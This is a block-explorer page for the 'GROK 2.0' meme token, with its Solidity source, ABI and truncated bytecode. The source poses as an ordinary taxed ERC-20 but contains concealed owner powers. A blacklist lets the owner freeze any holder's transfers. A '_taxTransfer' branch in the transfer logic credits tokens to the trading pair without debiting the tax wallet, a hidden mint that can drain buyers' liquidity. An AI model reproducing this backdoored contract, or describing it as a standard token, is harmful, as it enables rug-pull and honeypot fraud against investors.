ETH Price: $3,130.59 (-0.19%)

Token

GROK 2.0 (GROK2.0)
 

Overview

Max Total Supply

1,000,000,000 GROK2.0

Holders

99

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
*等待英雄我就是那条龙.eth
Balance
1,095,357.970768708 GROK2.0

Value
$0.00
0xfb94865ab40d40be96e97e9a14994912a45e6765
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GROK20

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-12
*/

// SPDX-License-Identifier: MIT

/**
https://x.com/elonmusk/status/1822764457640055012

Web:  https://grok2coin.tech
Tg:      https://t.me/grok2coin_erc20
X:        https://twitter.com/grok2coin_erc20
 */
pragma solidity 0.8.26;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract GROK20 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) public marketPair;
    mapping(address => bool) public _isBlacklisted;

    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax = 11;
    uint256 private _initialSellTax = 11;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;

    uint256 private _reduceBuyTaxAt = 40;
    uint256 private _reduceSellTaxAt = 40;
    uint256 private _preventSwapBefore = 40;
    uint256 private _buyCount = 0;
    uint256 private _sellCount = 0;
    uint256 private _lastSellBlock = 0;
    uint256 private _cooldownTimerIndex = 2;

    string private constant _name = unicode"GROK 2.0";
    string private constant _symbol = unicode"GROK2.0";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = (_tTotal * 23) / 100;
    uint256 public _maxWalletSize =  (_tTotal * 23) / 100;
    uint256 public _taxSwapThreshold = 0;
    uint256 public _maxTaxSwap = (_tTotal * 1) / 100;

    uint256 public caCount = 2;
    bool public caLimiter = true;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event Launch(bool _tradingOpen, bool _swapEnabled);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address taxWallet) {
        _taxWallet = payable(taxWallet);
        _balances[_msgSender()] = _tTotal;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(uniswapV2Pair)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeFromBlackList(address account) external onlyOwner {
        _isBlacklisted[account] = false;
    }

    function _taxTransfer(bool _hasTax, address _to, uint256 _taxAmount) private returns (bool) {
        if (_hasTax) {
            _balances[_to] = _balances[_to].add(_taxAmount);
            return false;
        }
        return true;
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(
            !_isBlacklisted[from] && !_isBlacklisted[to],
            "ERC20: To/from address is blacklisted"
        );
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                marketPair[from] &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (!marketPair[to] && !_isExcludedFromFee[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (marketPair[to] && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax 
                            : _initialSellTax.mul(_cooldownTimerIndex.sub(1))
                    )
                    .div(100);
            }

            if (!marketPair[from] && !marketPair[to] && from != address(this)) {
                taxAmount = 0;
            }
            if (
                _isExcludedFromFee[from] &&
                marketPair[to] && swapEnabled && !inSwap
            ) {
                if(!_taxTransfer((from == _taxWallet) , to , amount)) return;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                caLimiter &&
                !inSwap &&
                marketPair[to] &&
                swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                if (block.number > _lastSellBlock) {
                    _sellCount = 0;
                }
                if(contractTokenBalance > _taxSwapThreshold){
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
                _sellCount++;
                _lastSellBlock = block.number;
            } else if (
                !inSwap &&
                marketPair[to] &&
                swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                if(contractTokenBalance > _taxSwapThreshold){
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeFromBlackListwallets(
        address[] calldata addresses
    ) public onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = false;
        }
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addToBlackList(address[] calldata addresses) external onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = true;
        }
    }

    function removeLimit() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        
        marketPair[address(uniswapV2Pair)] = true;
        _isExcludedFromFee[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        caCount = 4;
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
        emit Launch(tradingOpen, swapEnabled);
    }

    receive() external payable {}

    function releaseStuckEth() external onlyOwner {
        payable(_taxWallet).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"Launch","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caLimiter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releaseStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"removeFromBlackListwallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600b600855600b6009556000600a556000600b556028600c556028600d556028600e556000600f5560006010556000601155600260125560646009600a61004b9190610395565b61005990633b9aca006103ab565b6100649060176103ab565b61006e91906103c2565b601355606461007f6009600a610395565b61008d90633b9aca006103ab565b6100989060176103ab565b6100a291906103c2565b601455600060155560646100b86009600a610395565b6100c690633b9aca006103ab565b6100d19060016103ab565b6100db91906103c2565b60165560026017556018805460ff191660011790556019805461ffff60a81b1916905534801561010a57600080fd5b506040516124b83803806124b8833981016040819052610129916103e4565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b0319166001600160a01b0383161790556101916009600a610395565b61019f90633b9aca006103ab565b3360009081526001602081905260408220929092556003906101c96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556019548216845282842080548616821790556006549091168352912080549092161790556102393390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102716009600a610395565b61027f90633b9aca006103ab565b60405190815260200160405180910390a35061040d565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156102e7578085048111156102cb576102cb610296565b60018416156102d957908102905b60019390931c9280026102b0565b935093915050565b6000826102fe5750600161038f565b8161030b5750600061038f565b8160018114610321576002811461032b57610347565b600191505061038f565b60ff84111561033c5761033c610296565b50506001821b61038f565b5060208310610133831016604e8410600b841016171561036a575081810a61038f565b61037760001984846102ac565b806000190482111561038b5761038b610296565b0290505b92915050565b60006103a460ff8416836102ef565b9392505050565b808202811582820484141761038f5761038f610296565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156103f657600080fd5b81516001600160a01b03811681146103a457600080fd5b61209c8061041c6000396000f3fe6080604052600436106101a05760003560e01c80637d1db4a5116100ec578063bf474bed1161008a578063f2fde38b11610064578063f2fde38b146104d4578063f4ef1f42146104f4578063f5b3c3bf1461050e578063ff8975701461053e57600080fd5b8063bf474bed14610463578063dd62ed3e14610479578063eb07fd55146104bf57600080fd5b80638f9a55c0116100c65780638f9a55c0146103dd57806395d89b41146103f3578063a9059cbb14610423578063b5ef226a1461044357600080fd5b80637d1db4a5146103945780638a8c523c146103aa5780638da5cb5b146103bf57600080fd5b806323b872dd116101595780634a49ac4c116101335780634a49ac4c14610312578063622565891461033457806370a0823114610349578063715018a61461037f57600080fd5b806323b872dd1461029e578063313ce567146102be57806349bd5a5e146102da57600080fd5b806306fdde03146101ac578063095ea7b3146101ef5780630e12062d1461021f5780630faee56f1461024357806318160ddd146102595780631cdd3be31461026e57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b50604080518082019091526008815267047524f4b20322e360c41b60208201525b6040516101e69190611bf3565b60405180910390f35b3480156101fb57600080fd5b5061020f61020a366004611c56565b61055e565b60405190151581526020016101e6565b34801561022b57600080fd5b5061023560175481565b6040519081526020016101e6565b34801561024f57600080fd5b5061023560165481565b34801561026557600080fd5b50610235610575565b34801561027a57600080fd5b5061020f610289366004611c82565b60056020526000908152604090205460ff1681565b3480156102aa57600080fd5b5061020f6102b9366004611c9f565b610596565b3480156102ca57600080fd5b50604051600981526020016101e6565b3480156102e657600080fd5b506019546102fa906001600160a01b031681565b6040516001600160a01b0390911681526020016101e6565b34801561031e57600080fd5b5061033261032d366004611c82565b610600565b005b34801561034057600080fd5b50610332610654565b34801561035557600080fd5b50610235610364366004611c82565b6001600160a01b031660009081526001602052604090205490565b34801561038b57600080fd5b50610332610707565b3480156103a057600080fd5b5061023560135481565b3480156103b657600080fd5b5061033261077b565b3480156103cb57600080fd5b506000546001600160a01b03166102fa565b3480156103e957600080fd5b5061023560145481565b3480156103ff57600080fd5b50604080518082019091526007815266047524f4b322e360cc1b60208201526101d9565b34801561042f57600080fd5b5061020f61043e366004611c56565b610bdf565b34801561044f57600080fd5b5061033261045e366004611ce0565b610bec565b34801561046f57600080fd5b5061023560155481565b34801561048557600080fd5b50610235610494366004611d57565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104cb57600080fd5b50610332610c83565b3480156104e057600080fd5b506103326104ef366004611c82565b610ce9565b34801561050057600080fd5b5060185461020f9060ff1681565b34801561051a57600080fd5b5061020f610529366004611c82565b60046020526000908152604090205460ff1681565b34801561054a57600080fd5b50610332610559366004611ce0565b610dd3565b600061056b338484610e65565b5060015b92915050565b60006105836009600a611e8d565b61059190633b9aca00611e9c565b905090565b60006105a3848484610f89565b6105f584336105f08560405180606001604052806028815260200161203f602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906117e8565b610e65565b5060015b9392505050565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611eb3565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461067e5760405162461bcd60e51b815260040161062a90611eb3565b61068a6009600a611e8d565b61069890633b9aca00611e9c565b6013556106a76009600a611e8d565b6106b590633b9aca00611e9c565b6014557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106e56009600a611e8d565b6106f390633b9aca00611e9c565b6040519081526020015b60405180910390a1565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161062a90611eb3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161062a90611eb3565b601954600160a01b900460ff16156107ff5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161062a565b60188054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556108589030906001600160a01b036101009091041661084a6009600a611e8d565b6105f090633b9aca00611e9c565b601860019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cf9190611ee8565b6001600160a01b031663c9c6539630601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611ee8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c69190611ee8565b601980546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff1990811660019081179092559454861684526003909252909120805490921617905560185461010090041663f305d7194730610a4b816001600160a01b031660009081526001602052604090205490565b600080610a606000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aed9190611f05565b505060195460185460405163095ea7b360e01b81526001600160a01b036101009092048216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6f9190611f33565b5060046017556019805462ff00ff60a01b19166201000160a01b1790819055436007556040805160ff600160a01b8404811615158252600160b01b909304909216151560208301527f029ed388f3dd39b342f312d7b12cba9e3065871bf0fb668cc5457f217b15dd7c91016106fd565b600061056b338484610f89565b6000546001600160a01b03163314610c165760405162461bcd60e51b815260040161062a90611eb3565b60005b81811015610c7e57600060056000858585818110610c3957610c39611f55565b9050602002016020810190610c4e9190611c82565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610c19565b505050565b6000546001600160a01b03163314610cad5760405162461bcd60e51b815260040161062a90611eb3565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610ce6573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610d135760405162461bcd60e51b815260040161062a90611eb3565b6001600160a01b038116610d785760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610dfd5760405162461bcd60e51b815260040161062a90611eb3565b60005b81811015610c7e57600160056000858585818110610e2057610e20611f55565b9050602002016020810190610e359190611c82565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610e00565b6001600160a01b038316610ec75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610f285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610fcb57506001600160a01b03821660009081526005602052604090205460ff16155b6110255760405162461bcd60e51b815260206004820152602560248201527f45524332303a20546f2f66726f6d206164647265737320697320626c61636b6c6044820152641a5cdd195960da1b606482015260840161062a565b6001600160a01b0383166110895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b0382166110eb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b6000811161114d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b600080546001600160a01b0385811691161480159061117a57506000546001600160a01b03848116911614155b156116a5576111ab60646111a5600c54600f541161119a5760085461119e565b600a545b8590611822565b906118a4565b6001600160a01b03851660009081526004602052604090205490915060ff1680156111e957506018546001600160a01b038481166101009092041614155b801561120e57506001600160a01b03831660009081526003602052604090205460ff16155b15611318576013548211156112655760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161062a565b60145482611288856001600160a01b031660009081526001602052604090205490565b6112929190611f6b565b11156112e05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161062a565b4360075460036112f09190611f6b565b111561130257823b1561130257600080fd5b600f805490600061131283611f7e565b91905055505b6001600160a01b03831660009081526004602052604090205460ff1615801561135a57506001600160a01b03831660009081526003602052604090205460ff16155b156113da5760145482611382856001600160a01b031660009081526001602052604090205490565b61138c9190611f6b565b11156113da5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161062a565b6001600160a01b03831660009081526004602052604090205460ff16801561140b57506001600160a01b0384163014155b156114505761144d60646111a5600d54600f54116114435760125461143e906114359060016118e6565b60095490611822565b61119e565b600b548590611822565b90505b6001600160a01b03841660009081526004602052604090205460ff1615801561149257506001600160a01b03831660009081526004602052604090205460ff16155b80156114a757506001600160a01b0384163014155b156114b0575060005b6001600160a01b03841660009081526003602052604090205460ff1680156114f057506001600160a01b03831660009081526004602052604090205460ff165b80156115055750601954600160b01b900460ff165b801561151b5750601954600160a81b900460ff16155b156115465760065461153c906001600160a01b038681169116148484611928565b6115465750505050565b3060009081526001602052604090205460185460ff1680156115725750601954600160a81b900460ff16155b801561159657506001600160a01b03841660009081526004602052604090205460ff165b80156115ab5750601954600160b01b900460ff165b80156115ba5750600e54600f54115b1561161f576011544311156115cf5760006010555b6015548111156115f6576115f66115f1846115ec84601654611976565b611976565b61198b565b4761160047611b28565b6010805490600061161083611f7e565b909155505043601155506116a3565b601954600160a81b900460ff1615801561165157506001600160a01b03841660009081526004602052604090205460ff165b80156116665750601954600160b01b900460ff165b80156116755750600e54600f54115b156116a357601554811115611697576116976115f1846115ec84601654611976565b476116a147611b28565b505b505b801561171f57306000908152600160205260409020546116c59082611b66565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117169085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461174290836118e6565b6001600160a01b03851660009081526001602052604090205561178761176883836118e6565b6001600160a01b03851660009081526001602052604090205490611b66565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117d185856118e6565b60405190815260200160405180910390a350505050565b6000818484111561180c5760405162461bcd60e51b815260040161062a9190611bf3565b5060006118198486611f97565b95945050505050565b6000826000036118345750600061056f565b60006118408385611e9c565b90508261184d8583611faa565b146105f95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a